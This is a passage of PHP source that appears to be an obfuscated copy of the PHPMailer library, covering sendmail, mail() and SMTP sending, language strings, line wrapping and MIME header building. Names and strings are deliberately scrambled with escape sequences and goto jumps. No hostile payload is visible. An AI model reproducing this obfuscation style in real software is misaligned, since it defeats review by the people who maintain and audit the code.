throw new phpmailerException($this->lang("\x65\x78\x65\x63\165\x74\145") . $this->Sendmail, self::STOP_CRITICAL);
tVCdb:
fputs($T3VVp, $akbHB);
fputs($T3VVp, $DwsX3);
$FqysX = pclose($T3VVp);
$this->doCallback($FqysX == 0, $this->to, $this->cc, $this->bcc, $this->Subject, $DwsX3, $this->From);
if (!($FqysX != 0)) {
goto ZxpIX;
}
throw new phpmailerException($this->lang("\145\170\145\x63\165\164\145") . $this->Sendmail, self::STOP_CRITICAL);
ZxpIX:
goto gTFXE;
wtC2g:
foreach ($this->SingleToArray as $QDoeF) {
if (@($T3VVp = popen($b7ZxZ, "\167"))) {
goto rYXq2;
}
throw new phpmailerException($this->lang("\145\x78\x65\143\165\x74\145") . $this->Sendmail, self::STOP_CRITICAL);
rYXq2:
fputs($T3VVp, "\x54\157\72\x20" . $QDoeF . "\12");
fputs($T3VVp, $akbHB);
fputs($T3VVp, $DwsX3);
$FqysX = pclose($T3VVp);
$this->doCallback($FqysX == 0, array($QDoeF), $this->cc, $this->bcc, $this->Subject, $DwsX3, $this->From);
if (!($FqysX != 0)) {
goto LJNGq;
}
throw new phpmailerException($this->lang("\x65\x78\145\x63\165\x74\x65") . $this->Sendmail, self::STOP_CRITICAL);
LJNGq:
fgjiQ:
}
zLMRe:
gTFXE:
return true;
}
protected static function isShellSafe($TYDtX)
{
if (!(escapeshellcmd($TYDtX) !== $TYDtX or !in_array(escapeshellarg($TYDtX), array("\x27{$TYDtX}\x27", "\42{$TYDtX}\x22")))) {
goto ceopg;
}
return false;
ceopg:
$RE2pI = strlen($TYDtX);
$Ky6GK = 0;
k66cU:
if (!($Ky6GK < $RE2pI)) {
goto eTZUA;
}
$WB1FR = $TYDtX[$Ky6GK];
if (!(!ctype_alnum($WB1FR) && strpos("\x40\x5f\x2d\x2e", $WB1FR) === false)) {
goto g2gVO;
}
return false;
g2gVO:
ANKLq:
$Ky6GK++;
goto k66cU;
eTZUA:
return true;
}
protected static function isPermittedPath($knUNi)
{
return !preg_match("\43\x5e\133\141\55\x7a\x5d\53\x3a\x2f\x2f\43\x69", $knUNi);
}
protected function mailSend($akbHB, $DwsX3)
{
$uGgxq = array();
foreach ($this->to as $quRfN) {
$uGgxq[] = $this->addrFormat($quRfN);
BeGJd:
}
C9obP:
$aB8Ql = implode("\54\40", $uGgxq);
$azIW_ = null;
if (!(!empty($this->Sender) and $this->validateAddress($this->Sender))) {
goto cQCVt;
}
if (!self::isShellSafe($this->Sender)) {
goto fvE8O;
}
$azIW_ = sprintf("\x2d\x66\45\163", $this->Sender);
fvE8O:
cQCVt:
if (!(!empty($this->Sender) and !ini_get("\x73\x61\146\x65\137\155\157\144\x65") and $this->validateAddress($this->Sender))) {
goto tJitt;
}
$ayIFm = ini_get("\x73\x65\156\x64\155\141\x69\x6c\x5f\x66\162\157\155");
ini_set("\163\x65\x6e\x64\x6d\x61\151\x6c\137\x66\x72\x6f\155", $this->Sender);
tJitt:
$FqysX = false;
if ($this->SingleTo and count($uGgxq) > 1) {
goto NDarl;
}
$FqysX = $this->mailPassthru($aB8Ql, $this->Subject, $DwsX3, $akbHB, $azIW_);
$this->doCallback($FqysX, $this->to, $this->cc, $this->bcc, $this->Subject, $DwsX3, $this->From);
goto e_PZO;
NDarl:
foreach ($uGgxq as $QDoeF) {
$FqysX = $this->mailPassthru($QDoeF, $this->Subject, $DwsX3, $akbHB, $azIW_);
$this->doCallback($FqysX, array($QDoeF), $this->cc, $this->bcc, $this->Subject, $DwsX3, $this->From);
sSmFt:
}
BQKQr:
e_PZO:
if (!isset($ayIFm)) {
goto gIve6;
}
ini_set("\163\x65\x6e\x64\155\141\151\154\137\x66\162\157\155", $ayIFm);
gIve6:
if ($FqysX) {
goto W0uT5;
}
throw new phpmailerException($this->lang("\x69\x6e\163\164\x61\x6e\x74\x69\141\x74\145"), self::STOP_CRITICAL);
W0uT5:
return true;
}
public function getSMTPInstance()
{
if (is_object($this->smtp)) {
goto a1Z4k;
}
$this->smtp = new SMTP();
a1Z4k:
return $this->smtp;
}
protected function smtpSend($akbHB, $DwsX3)
{
$oot2G = array();
if ($this->smtpConnect($this->SMTPOptions)) {
goto GO5hh;
}
throw new phpmailerException($this->lang("\x73\155\164\160\137\x63\157\156\156\x65\143\164\x5f\146\141\x69\154\x65\144"), self::STOP_CRITICAL);
GO5hh:
if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
goto gZQla;
}
$lRnph = $this->From;
goto pi2TC;
gZQla:
$lRnph = $this->Sender;
pi2TC:
if ($this->smtp->mail($lRnph)) {
goto K1S0V;
}
$this->setError($this->lang("\x66\x72\157\155\137\x66\x61\x69\x6c\x65\144") . $lRnph . "\x20\x3a\x20" . implode("\54", $this->smtp->getError()));
throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
K1S0V:
foreach (array($this->to, $this->cc, $this->bcc) as $YKgBN) {
foreach ($YKgBN as $aB8Ql) {
if (!$this->smtp->recipient($aB8Ql[0])) {
goto pgUyg;
}
$dBaha = true;
goto fM5ZE;
pgUyg:
$QLaT4 = $this->smtp->getError();
$oot2G[] = array("\x74\157" => $aB8Ql[0], "\x65\162\x72\157\162" => $QLaT4["\x64\x65\164\141\x69\154"]);
$dBaha = false;
fM5ZE:
$this->doCallback($dBaha, array($aB8Ql[0]), array(), array(), $this->Subject, $DwsX3, $this->From);
e9s0K:
}
SWVW8:
Qmxn3:
}
el0lg:
if (!(count($this->all_recipients) > count($oot2G) and !$this->smtp->data($akbHB . $DwsX3))) {
goto A2Pz6;
}
throw new phpmailerException($this->lang("\x64\141\164\141\x5f\156\157\x74\x5f\141\143\143\145\x70\x74\145\x64"), self::STOP_CRITICAL);
A2Pz6:
if ($this->SMTPKeepAlive) {
goto N5XuJ;
}
$this->smtp->quit();
$this->smtp->close();
goto s5zam;
N5XuJ:
$this->smtp->reset();
s5zam:
if (!(count($oot2G) > 0)) {
goto QE1WI;
}
$XNpzr = '';
foreach ($oot2G as $ep9jc) {
$XNpzr .= $ep9jc["\164\157"] . "\72\40" . $ep9jc["\145\x72\162\x6f\x72"];
nh27e:
}
QQAMY:
throw new phpmailerException($this->lang("\162\145\143\151\x70\151\x65\156\164\163\137\146\x61\151\154\x65\x64") . $XNpzr, self::STOP_CONTINUE);
QE1WI:
return true;
}
public function smtpConnect($wRamM = null)
{
if (!is_null($this->smtp)) {
goto pEySA;
}
$this->smtp = $this->getSMTPInstance();
pEySA:
if (!is_null($wRamM)) {
goto Kl_ss;
}
$wRamM = $this->SMTPOptions;
Kl_ss:
if (!$this->smtp->connected()) {
goto kRcvc;
}
return true;
kRcvc:
$this->smtp->setTimeout($this->Timeout);
$this->smtp->setDebugLevel($this->SMTPDebug);
$this->smtp->setDebugOutput($this->Debugoutput);
$this->smtp->setVerp($this->do_verp);
$W5HuC = explode("\x3b", $this->Host);
$El5Hv = null;
foreach ($W5HuC as $f1H4N) {
$kXpQr = array();
if (preg_match("\57\136\50\50\x73\163\x6c\174\164\x6c\x73\51\72\x5c\x2f\x5c\57\x29\52\x28\133\x61\55\172\x41\55\132\x30\55\x39\x5c\x2e\55\135\52\x7c\134\x5b\133\141\55\x66\101\x2d\106\x30\x2d\71\72\135\53\x5c\x5d\x29\x3a\x3f\50\x5b\60\55\x39\x5d\52\x29\x24\57", trim($f1H4N), $kXpQr)) {
goto k0QSS;
}
$this->edebug("\x49\x67\x6e\157\162\151\x6e\147\x20\151\156\166\x61\154\151\x64\40\x68\157\x73\x74\x3a\40" . $f1H4N);
goto xO3K6;
k0QSS:
$Y82dO = '';
$o2xIQ = $this->SMTPSecure;
$kvv03 = $this->SMTPSecure == "\164\x6c\163";
if ("\x73\x73\154" == $kXpQr[2] or '' == $kXpQr[2] and "\x73\163\154" == $this->SMTPSecure) {
goto Z6TT4;
}
if ($kXpQr[2] == "\x74\154\x73") {
goto SNBml;
}
goto gxaMa;
Z6TT4:
$Y82dO = "\x73\x73\x6c\72\x2f\x2f";
$kvv03 = false;
$o2xIQ = "\163\163\x6c";
goto gxaMa;
SNBml:
$kvv03 = true;
$o2xIQ = "\x74\x6c\x73";
gxaMa:
$foGqu = defined("\117\x50\105\x4e\x53\123\x4c\137\x41\x4c\107\117\137\x53\110\101\x31");
if (!("\164\x6c\x73" === $o2xIQ or "\x73\x73\154" === $o2xIQ)) {
goto knqjR;
}
if ($foGqu) {
goto w8YS0;
}
throw new phpmailerException($this->lang("\x65\x78\164\x65\x6e\163\151\x6f\x6e\x5f\155\151\x73\163\x69\156\x67") . "\157\160\x65\x6e\163\x73\x6c", self::STOP_CRITICAL);
w8YS0:
knqjR:
$a0GMF = $kXpQr[3];
$nexQR = $this->Port;
$AzrOQ = (int) $kXpQr[4];
if (!($AzrOQ > 0 and $AzrOQ < 65536)) {
goto uJuxB;
}
$nexQR = $AzrOQ;
uJuxB:
if (!$this->smtp->connect($Y82dO . $a0GMF, $nexQR, $this->Timeout, $wRamM)) {
goto aiiaQ;
}
try {
if ($this->Helo) {
goto qTyif;
}
$HhJVr = $this->serverHostname();
goto CBMAw;
qTyif:
$HhJVr = $this->Helo;
CBMAw:
$this->smtp->hello($HhJVr);
if (!($this->SMTPAutoTLS and $foGqu and $o2xIQ != "\x73\163\x6c" and $this->smtp->getServerExt("\x53\x54\101\122\x54\124\114\x53"))) {
goto Vge59;
}
$kvv03 = true;
Vge59:
if (!$kvv03) {
goto Sb4w7;
}
if ($this->smtp->startTLS()) {
goto rzxQt;
}
throw new phpmailerException($this->lang("\143\157\156\156\x65\143\x74\x5f\150\157\x73\164"));
rzxQt:
$this->smtp->hello($HhJVr);
Sb4w7:
if (!$this->SMTPAuth) {
goto NZuav;
}
if ($this->smtp->authenticate($this->Username, $this->Password, $this->AuthType, $this->Realm, $this->Workstation)) {
goto HnfkL;
}
throw new phpmailerException($this->lang("\x61\x75\x74\x68\x65\156\x74\x69\143\141\x74\145"));
HnfkL:
NZuav:
return true;
} catch (phpmailerException $K5HlO) {
$El5Hv = $K5HlO;
$this->edebug($K5HlO->getMessage());
$this->smtp->quit();
}
aiiaQ:
xO3K6:
}
c0vZX:
$this->smtp->close();
if (!($this->exceptions and !is_null($El5Hv))) {
goto llfYw;
}
throw $El5Hv;
llfYw:
return false;
}
public function smtpClose()
{
if (!is_a($this->smtp, "\123\x4d\x54\x50")) {
goto zXEP8;
}
if (!$this->smtp->connected()) {
goto u8tz9;
}
$this->smtp->quit();
$this->smtp->close();
u8tz9:
zXEP8:
}
public function setLanguage($as6E3 = "\145\x6e", $NyYky = '')
{
$u2s00 = array("\x62\162" => "\x70\x74\x5f\142\x72", "\x63\172" => "\143\163", "\x64\x6b" => "\144\141", "\x6e\157" => "\156\142", "\163\x65" => "\163\x76", "\163\162" => "\162\x73");
if (!isset($u2s00[$as6E3])) {
goto Qzhk2;
}
$as6E3 = $u2s00[$as6E3];
Qzhk2:
$bs0aR = array("\141\165\x74\x68\145\x6e\x74\x69\143\x61\x74\145" => "\x53\115\x54\x50\x20\x45\162\x72\157\x72\x3a\x20\103\x6f\165\154\x64\x20\156\157\164\40\x61\x75\x74\150\x65\x6e\164\151\x63\141\x74\145\x2e", "\x63\157\x6e\156\145\143\164\137\150\x6f\x73\164" => "\x53\115\124\120\40\x45\162\x72\157\162\x3a\x20\103\157\x75\154\x64\x20\156\x6f\x74\40\x63\157\156\156\145\x63\164\x20\164\157\40\x53\x4d\x54\x50\x20\x68\x6f\x73\164\56", "\144\x61\x74\141\x5f\156\157\164\137\x61\143\x63\145\x70\164\x65\x64" => "\123\x4d\x54\x50\x20\105\x72\162\157\x72\x3a\x20\x64\141\164\x61\x20\x6e\157\x74\40\141\143\143\x65\160\164\145\x64\56", "\145\x6d\x70\164\x79\x5f\155\145\163\163\141\147\x65" => "\115\145\163\163\x61\x67\145\x20\142\157\x64\x79\40\145\x6d\160\x74\171", "\x65\156\x63\157\144\151\156\147" => "\125\156\x6b\156\157\167\x6e\40\145\156\x63\157\144\x69\x6e\147\x3a\x20", "\x65\x78\145\x63\165\x74\145" => "\103\157\165\154\144\40\156\x6f\164\40\145\x78\145\x63\165\164\x65\x3a\x20", "\x66\151\x6c\x65\137\141\143\x63\145\x73\163" => "\103\x6f\x75\x6c\144\x20\x6e\157\164\x20\x61\x63\x63\x65\163\x73\x20\146\151\154\145\72\40", "\146\151\154\145\x5f\x6f\x70\145\156" => "\x46\151\154\x65\x20\105\162\162\x6f\x72\x3a\40\103\157\165\154\144\x20\x6e\x6f\x74\x20\157\x70\x65\156\40\x66\x69\154\145\x3a\x20", "\x66\x72\x6f\x6d\137\x66\x61\x69\154\x65\144" => "\124\x68\x65\40\x66\157\154\x6c\x6f\167\151\x6e\x67\x20\106\162\x6f\x6d\40\141\x64\x64\162\x65\x73\x73\x20\146\141\x69\x6c\x65\144\x3a\x20", "\151\x6e\163\x74\141\156\x74\151\x61\x74\145" => "\103\157\165\154\144\x20\x6e\x6f\164\x20\151\x6e\x73\x74\x61\156\x74\151\x61\164\x65\40\155\141\x69\x6c\40\146\165\x6e\x63\x74\x69\157\x6e\x2e", "\x69\156\x76\x61\154\151\x64\x5f\141\x64\144\162\145\x73\163" => "\111\156\166\141\154\151\x64\x20\x61\144\144\162\x65\163\163\x3a\x20", "\x6d\x61\x69\x6c\145\162\137\x6e\157\164\137\x73\165\160\160\157\x72\x74\x65\x64" => "\x20\155\x61\151\x6c\x65\162\40\151\163\x20\156\157\x74\40\163\165\x70\x70\157\162\164\x65\144\x2e", "\160\x72\x6f\166\151\x64\x65\137\141\x64\x64\x72\145\x73\x73" => "\131\x6f\x75\x20\155\x75\x73\164\40\160\162\157\166\x69\144\145\40\x61\164\40\154\145\141\163\x74\x20\x6f\156\x65\40\x72\145\x63\x69\x70\x69\145\x6e\x74\x20\145\x6d\x61\151\154\x20\x61\144\144\x72\x65\163\163\56", "\162\x65\143\x69\x70\151\x65\156\x74\x73\x5f\146\141\x69\x6c\145\x64" => "\x53\115\124\120\40\x45\162\x72\157\162\72\40\124\x68\x65\40\x66\x6f\154\154\x6f\167\x69\x6e\147\x20\x72\x65\143\151\x70\151\145\x6e\164\163\x20\146\141\x69\154\145\x64\72\x20", "\163\x69\x67\x6e\x69\156\x67" => "\x53\151\x67\x6e\x69\156\147\x20\105\x72\x72\157\162\72\40", "\163\x6d\164\160\x5f\x63\x6f\x6e\x6e\145\x63\164\x5f\x66\x61\x69\x6c\145\144" => "\x53\x4d\x54\120\x20\143\x6f\x6e\x6e\145\143\x74\50\x29\x20\146\x61\x69\x6c\145\144\x2e", "\x73\x6d\x74\160\137\x65\x72\162\157\162" => "\123\x4d\124\x50\40\163\145\x72\166\x65\162\40\145\x72\162\x6f\x72\x3a\x20", "\166\141\162\151\x61\x62\x6c\x65\137\163\145\164" => "\103\141\156\156\x6f\x74\40\x73\x65\164\x20\x6f\162\x20\x72\145\x73\145\x74\x20\166\141\162\x69\x61\x62\x6c\x65\72\x20", "\x65\x78\164\145\x6e\163\x69\157\x6e\x5f\155\151\x73\x73\151\156\x67" => "\105\170\164\x65\156\163\151\157\156\40\155\x69\163\163\x69\x6e\147\x3a\x20");
if (!empty($NyYky)) {
goto K7Ula;
}
$NyYky = dirname(__FILE__) . DIRECTORY_SEPARATOR . "\x6c\141\156\x67\x75\x61\147\145" . DIRECTORY_SEPARATOR;
K7Ula:
if (preg_match("\x2f\x5e\x5b\x61\x2d\172\x5d\173\x32\x7d\50\77\72\137\133\x61\x2d\x7a\101\55\x5a\135\x7b\x32\x7d\x29\x3f\44\57", $as6E3)) {
goto qoAJy;
}
$as6E3 = "\x65\156";
qoAJy:
$dq2ZP = true;
$cLIGs = $NyYky . "\160\150\160\155\x61\x69\x6c\x65\x72\x2e\154\x61\156\x67\55" . $as6E3 . "\x2e\160\x68\160";
if (!($as6E3 != "\145\156")) {
goto tqNNV;
}
if (!self::isPermittedPath($cLIGs) or !is_readable($cLIGs)) {
goto XxwgY;
}
$dq2ZP = (include $cLIGs);
goto AtMu3;
XxwgY:
$dq2ZP = false;
AtMu3:
tqNNV:
$this->language = $bs0aR;
return (bool) $dq2ZP;
}
public function getTranslations()
{
return $this->language;
}
public function addrAppend($FqCyk, $yA7rY)
{
$WiFtW = array();
foreach ($yA7rY as $pMuIe) {
$WiFtW[] = $this->addrFormat($pMuIe);
mF6Ai:
}
abaU0:
return $FqCyk . "\72\x20" . implode("\54\40", $WiFtW) . $this->LE;
}
public function addrFormat($yA7rY)
{
if (empty($yA7rY[1])) {
goto aObXs;
}
return $this->encodeHeader($this->secureHeader($yA7rY[1]), "\x70\150\162\x61\163\x65") . "\40\74" . $this->secureHeader($yA7rY[0]) . "\76";
goto BbdIg;
aObXs:
return $this->secureHeader($yA7rY[0]);
BbdIg:
}
public function wrapText($hipuw, $RE2pI, $wGwt1 = false)
{
if ($wGwt1) {
goto xJKRQ;
}
$ts3nD = $this->LE;
goto gr3b6;
xJKRQ:
$ts3nD = sprintf("\x20\x3d\45\163", $this->LE);
gr3b6:
$eeexh = strtolower($this->CharSet) == "\x75\164\x66\x2d\70";
$tRB0C = strlen($this->LE);
$IH_8x = strlen(self::CRLF);
$hipuw = $this->fixEOL($hipuw);
if (!(substr($hipuw, -$tRB0C) == $this->LE)) {
goto exVTI;
}
$hipuw = substr($hipuw, 0, -$tRB0C);
exVTI:
$lhpQn = explode($this->LE, $hipuw);
$hipuw = '';
foreach ($lhpQn as $LEkO6) {
$YfXXx = explode("\40", $LEkO6);
$eSZZt = '';
$HEzsP = true;
foreach ($YfXXx as $oYE6U) {
if ($wGwt1 and strlen($oYE6U) > $RE2pI) {
goto vayWh;
}
$q0Z7k = $eSZZt;
if ($HEzsP) {
goto m0zHP;
}
$eSZZt .= "\x20";
m0zHP:
$eSZZt .= $oYE6U;
if (!(strlen($eSZZt) > $RE2pI and $q0Z7k != '')) {
goto k66FQ;
}
$hipuw .= $q0Z7k . $ts3nD;
$eSZZt = $oYE6U;
k66FQ:
goto GebVh;
vayWh:
$qCkbc = $RE2pI - strlen($eSZZt) - $IH_8x;
if ($HEzsP) {
goto aFk1K;
}
if ($qCkbc > 20) {
goto T12wo;
}
$hipuw .= $eSZZt . $ts3nD;
goto QGhGU;
T12wo:
$rxV6m = $qCkbc;
if ($eeexh) {
goto yOk8l;
}
if (substr($oYE6U, $rxV6m - 1, 1) == "\75") {
goto mSC7x;
}
if (substr($oYE6U, $rxV6m - 2, 1) == "\75") {
goto EWgD8;
}
goto MbqdD;
yOk8l:
$rxV6m = $this->utf8CharBoundary($oYE6U, $rxV6m);
goto MbqdD;
mSC7x:
$rxV6m--;
goto MbqdD;
EWgD8:
$rxV6m -= 2;
MbqdD:
$pOL3v = substr($oYE6U, 0, $rxV6m);
$oYE6U = substr($oYE6U, $rxV6m);
$eSZZt .= "\x20" . $pOL3v;
$hipuw .= $eSZZt . sprintf("\75\x25\163", self::CRLF);
QGhGU:
$eSZZt = '';
aFk1K:
eh0fb:
if (!(strlen($oYE6U) > 0)) {
goto U5xPm;
}
if (!($RE2pI <= 0)) {
goto p1Ext;
}
goto U5xPm;
p1Ext:
$rxV6m = $RE2pI;
if ($eeexh) {
goto oWNJt;
}
if (substr($oYE6U, $rxV6m - 1, 1) == "\x3d") {
goto xBhrm;
}
if (substr($oYE6U, $rxV6m - 2, 1) == "\75") {
goto bB4tK;
}
goto kZsPs;
oWNJt:
$rxV6m = $this->utf8CharBoundary($oYE6U, $rxV6m);
goto kZsPs;
xBhrm:
$rxV6m--;
goto kZsPs;
bB4tK:
$rxV6m -= 2;
kZsPs:
$pOL3v = substr($oYE6U, 0, $rxV6m);
$oYE6U = substr($oYE6U, $rxV6m);
if (strlen($oYE6U) > 0) {
goto X9X8B;
}
$eSZZt = $pOL3v;
goto NrVG3;
X9X8B:
$hipuw .= $pOL3v . sprintf("\75\x25\x73", self::CRLF);
NrVG3:
goto eh0fb;
U5xPm:
GebVh:
$HEzsP = false;
eNnAp:
}
pgFR6:
$hipuw .= $eSZZt . self::CRLF;
EqHWL:
}
ig0jx:
return $hipuw;
}
public function utf8CharBoundary($J8fGK, $gnCxr)
{
$w5QYx = false;
$uNFXB = 3;
pMixR:
if ($w5QYx) {
goto r2rc7;
}
$OaXM3 = substr($J8fGK, $gnCxr - $uNFXB, $uNFXB);
$n5wT8 = strpos($OaXM3, "\75");
if (false !== $n5wT8) {
goto A8dsw;
}
$w5QYx = true;
goto deFAw;
A8dsw:
$PXIjM = substr($J8fGK, $gnCxr - $uNFXB + $n5wT8 + 1, 2);
$Aycgm = hexdec($PXIjM);
if ($Aycgm < 128) {
goto yzyYz;
}
if ($Aycgm >= 192) {
goto rVE8S;
}
if ($Aycgm < 192) {
goto uq5yl;
}
goto V5zM9;
yzyYz:
if (!($n5wT8 > 0)) {
goto gVdWx;
}
$gnCxr = $gnCxr - ($uNFXB - $n5wT8);
gVdWx:
$w5QYx = true;
goto V5zM9;
rVE8S:
$gnCxr = $gnCxr - ($uNFXB - $n5wT8);
$w5QYx = true;
goto V5zM9;
uq5yl:
$uNFXB += 3;
V5zM9:
deFAw:
goto pMixR;
r2rc7:
return $gnCxr;
}
public function setWordWrap()
{
if (!($this->WordWrap < 1)) {
goto WCKOi;
}
return;
WCKOi:
switch ($this->message_type) {
case "\141\x6c\x74":
case "\141\154\x74\137\151\156\x6c\x69\x6e\145":
case "\141\x6c\x74\137\x61\x74\x74\x61\x63\x68":
case "\x61\154\x74\137\151\x6e\154\x69\x6e\x65\x5f\141\164\164\x61\x63\150":
$this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
goto IqMS7;
default:
$this->Body = $this->wrapText($this->Body, $this->WordWrap);
goto IqMS7;
}
E3JSN:
IqMS7:
}
public function createHeader()
{
$FqysX = '';
$FqysX .= $this->headerLine("\104\x61\x74\145", $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate);
if ($this->SingleTo) {
goto GKBtg;
}
if (count($this->to) > 0) {
goto VzYFl;
}
if (count($this->cc) == 0) {
goto QVlEX;
}
goto RVzug;
VzYFl:
if (!($this->Mailer != "\155\141\151\154")) {
goto Rr44x;
}
$FqysX .= $this->addrAppend("\x54\157", $this->to);
Rr44x:
goto RVzug;
QVlEX:
$FqysX .= $this->headerLine("\x54\x6f", "\x75\156\144\x69\163\x63\x6c\157\x73\145\144\55\162\145\143\151\160\x69\145\x6e\x74\x73\x3a\73");
RVzug:
goto zLvEp;
GKBtg:
if (!($this->Mailer != "\x6d\141\x69\x6c")) {
goto FHVg1;
}
foreach ($this->to as $quRfN) {
$this->SingleToArray[] = $this->addrFormat($quRfN);
NbUVj:
}
aai6H:
FHVg1:
zLvEp:
$FqysX .= $this->addrAppend("\x46\x72\x6f\155", array(array(trim($this->From), $this->FromName)));
if (!(count($this->cc) > 0)) {
goto IMGWS;
}
$FqysX .= $this->addrAppend("\x43\x63", $this->cc);
IMGWS:
if (!(($this->Mailer == "\x73\x65\156\144\155\x61\x69\x6c" or $this->Mailer == "\161\155\x61\x69\154" or $this->Mailer == "\x6d\141\x69\x6c") and count($this->bcc) > 0)) {
goto fBjTu;
}
$FqysX .= $this->addrAppend("\102\143\143", $this->bcc);
fBjTu:
if (!(count($this->ReplyTo) > 0)) {
goto vduCI;
}
$FqysX .= $this->addrAppend("\x52\145\x70\154\171\x2d\x54\157", $this->ReplyTo);
vduCI:
if (!($this->Mailer != "\155\141\151\154")) {
goto DjBG8;
}
$FqysX .= $this->headerLine("\123\165\x62\x6a\145\x63\x74", $this->encodeHeader($this->secureHeader($this->Subject)));
DjBG8:
if ('' != $this->MessageID and preg_match("\x2f\x5e\74\56\x2a\x40\x2e\x2a\76\44\x2f", $this->MessageID)) {
goto guz8S;
}
$this->lastMessageID = sprintf("\x3c\x25\163\x40\x25\163\x3e", $this->uniqueid, $this->serverHostname());
goto io6C9;
guz8S:
$this->lastMessageID = $this->MessageID;
io6C9:
$FqysX .= $this->headerLine("\x4d\x65\163\x73\x61\x67\145\55\111\x44", $this->lastMessageID);
if (is_null($this->Priority)) {
goto xMiMH;
}
$FqysX .= $this->headerLine("\130\55\x50\x72\151\x6f\162\151\164\x79", $this->Priority);
xMiMH:
if ($this->XMailer == '') {
goto iCrZh;
}
$TEZ6n = trim($this->XMailer);
if (!$TEZ6n) {
goto aw4MV;
}
$FqysX .= $this->headerLine("\130\x2d\x4d\141\151\x6c\145\162", $TEZ6n);
aw4MV:
goto r_JNy;
iCrZh:
$FqysX .= $this->headerLine("\130\55\x4d\141\151\154\x65\x72", "\120\x48\x50\x4d\x61\x69\154\145\x72\40" . $this->Version . "\40\50\x68\x74\164\x70\x73\x3a\57\57\x67\x69\164\x68\x75\142\56\x63\157\x6d\x2f\x50\110\x50\115\141\x69\154\x65\162\x2f\120\110\120\115\x61\151\x6c\x65\162\x29");
r_JNy:
if (!($this->ConfirmReadingTo != '')) {
goto ny_yt;
}
$FqysX .= $this->headerLine("\x44\151\163\160\x6f\163\x69\164\x69\157\156\55\x4e\x6f\x74\151\146\x69\x63\141\x74\151\x6f\x6e\55\124\x6f", "\74" . $this->ConfirmReadingTo . "\x3e");
ny_yt:
foreach ($this->CustomHeader as $akbHB) {
$FqysX .= $this->headerLine(trim($akbHB[0]), $this->encodeHeader(trim($akbHB[1])));
QT8lv:
}
VLcmT:
if ($this->sign_key_file) {
goto Y0h4m;
}
$FqysX .= $this->headerLine("\115\x49\x4d\105\55\x56\145\x72\163\x69\x6f\156", "\x31\56\60");
$FqysX .= $this->getMailMIME();
Y0h4m:
return $FqysX;
}
public function getMailMIME()
{
$FqysX = '';
$wi0dy = true;
switch ($this->message_type) {
case "\151\x6e\154\x69\x6e\145":
$FqysX .= $this->headerLine("\103\x6f\x6e\164\x65\x6e\x74\55\x54\x79\x70\x65", "\155\165\x6c\164\151\x70\141\x72\x74\57\x72\145\154\x61\x74\x65\x64\73");
$FqysX .= $this->textLine("\11\142\x6f\165\156\x64\141\162\171\75\42" . $this->boundary[1] . "\x22");
goto bs9Ez;
case "\141\x74\164\x61\143\x68":
case "\x69\x6e\154\x69\x6e\145\x5f\141\164\x74\141\143\x68":
case "\x61\154\164\137\141\x74\164\x61\x63\x68":
case "\141\154\164\137\151\x6e\154\x69\x6e\145\137\141\x74\x74\141\143\x68":
$FqysX .= $this->headerLine("\103\157\x6e\x74\145\156\x74\x2d\124\171\x70\x65", "\x6d\165\154\x74\x69\160\141\162\x74\x2f\x6d\x69\170\x65\144\73");
$FqysX .= $this->textLine("\x9\142\x6f\x75\156\144\x61\x72\x79\75\x22" . $this->boundary[1] . "\x22");
goto bs9Ez;
case "\x61\x6c\x74":
case "\x61\154\164\137\151\156\154\x69\x6e\145":
$FqysX .= $this->headerLine("\103\157\x6e\164\x65\x6e\164\x2d\124\171\160\x65", "\x6d\165\154\x74\x69\160\x61\162\x74\57\141\154\x74\145\x72\x6e\141\164\151\166\x65\x3b");
$FqysX .= $this->textLine("\11\142\x6f\x75\156\x64\141\x72\171\x3d\x22" . $this->boundary[1] . "\x22");
goto bs9Ez;
default:
$FqysX .= $this->textLine("\x43\157\x6e\164\145\156\x74\x2d\124\171\160\x65\72\40" . $this->ContentType . "\73\40\x63\x68\x61\162\x73\x65\x74\x3d" . $this->CharSet);
$wi0dy = false;
goto bs9Ez;
}
AMYpS:
bs9Ez:
if (!($this->Encoding != "\67\142\151\164")) {
goto jpKYU;
}
if ($wi0dy) {
goto JqEVO;
}
$FqysX .= $this->headerLine("\x43\157\156\164\145\x6e\x74\55\124\x72\141\x6e\163\146\x65\x72\55\x45\156\x63\x6f\x64\151\156\x67", $this->Encoding);
goto Ih041;
JqEVO:
if (!($this->Encoding == "\x38\142\151\164")) {
goto MKahh;
}
$FqysX .= $this->headerLine("\103\157\156\x74\x65\156\x74\55\x54\162\x61\156\x73\146\145\x72\55\x45\x6e\x63\157\x64\151\x6e\147", "\x38\142\151\x74");
MKahh:
Ih041:
jpKYU:
if (!($this->Mailer != "\x6d\x61\151\154")) {
goto M1drd;
}
$FqysX .= $this->LE;
M1drd:
return $FqysX;
}
public function getSentMIMEMessage()
{
return rtrim($this->MIMEHeader . $this->mailHeader, "\xa\xd") . self::CRLF . self::CRLF . $this->MIMEBody;
}
protected function generateId()
{
return md5(uniqid(time()));
}
public function createBody()
{
$DwsX3 = '';
$this->uniqueid = $this->generateId();
$this->boundary[1] = "\142\x31\x5f" . $this->uniqueid;
$this->boundary[2] = "\x62\62\137" . $this->uniqueid;
$this->boundary[3] = "\142\63\x5f" . $this->uniqueid;
if (!$this->sign_key_file) {
goto mCcw0;
}
$DwsX3 .= $this->getMailMIME() . $this->LE;
mCcw0:
$this->setWordWrap();
$szmbU = $this->Encoding;
$gzrD8 = $this->CharSet;
if (!($szmbU == "\70\x62\151\x74" and !$this->has8bitChars($this->Body))) {
goto BmQsr;
}
$szmbU = "\x37\x62\x69\164";
$gzrD8 = "\x75\163\x2d\x61\x73\x63\x69\151";
BmQsr:
if (!("\x62\141\163\145\66\x34" != $this->Encoding and self::hasLineLongerThanMax($this->Body))) {
goto h1Sp1;
}
$szmbU = "\161\165\157\164\x65\144\55\x70\162\151\156\164\141\142\x6c\x65";
h1Sp1:
$fCFK2 = $this->Encoding;
$u0j6w = $this->CharSet;
if (!($fCFK2 == "\x38\142\x69\x74" and !$this->has8bitChars($this->AltBody))) {
goto giLZJ;
}
$fCFK2 = "\x37\142\151\x74";
$u0j6w = "\165\x73\x2d\141\x73\x63\x69\x69";
giLZJ:
if (!("\142\x61\163\145\66\64" != $fCFK2 and self::hasLineLongerThanMax($this->AltBody))) {
goto lsdT_;
}
$fCFK2 = "\x71\165\157\164\145\x64\x2d\x70\x72\x69\156\x74\141\142\x6c\x65";
lsdT_:
